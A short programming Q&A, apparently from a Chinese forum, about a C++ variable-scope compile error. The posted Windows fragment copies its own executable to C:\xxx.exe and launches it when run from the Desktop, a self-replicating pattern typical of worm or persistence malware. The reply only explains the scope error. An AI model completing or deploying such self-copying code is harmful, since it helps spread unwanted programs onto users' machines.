[Error] 'SzPath' was not declared in this scope

[Error] 'SzPath' was not declared in this scope :

    char szPath[1000];
    GetModuleFileName(NULL, szPath, sizeof(szPath) - 1);
    string SzPath = szPath;
    LPCTSTR targetPath;
    struct _finddata_t fileinfo;
    long long fHandle;
    if(int(SzPath.find("Desktop")) != -1) {
        targetPath = _T("C:\\xxx.exe");
        CopyMyselfTo(targetPath);
        system("start C:\\xxx.exe");

完整的代码是什么,这里你定义了SzPath,但是如果你在花括号外面访问,就会出这个错误,比如
if (...)
{
string SzPath = szPath;
...
}
SzPath... //这里出错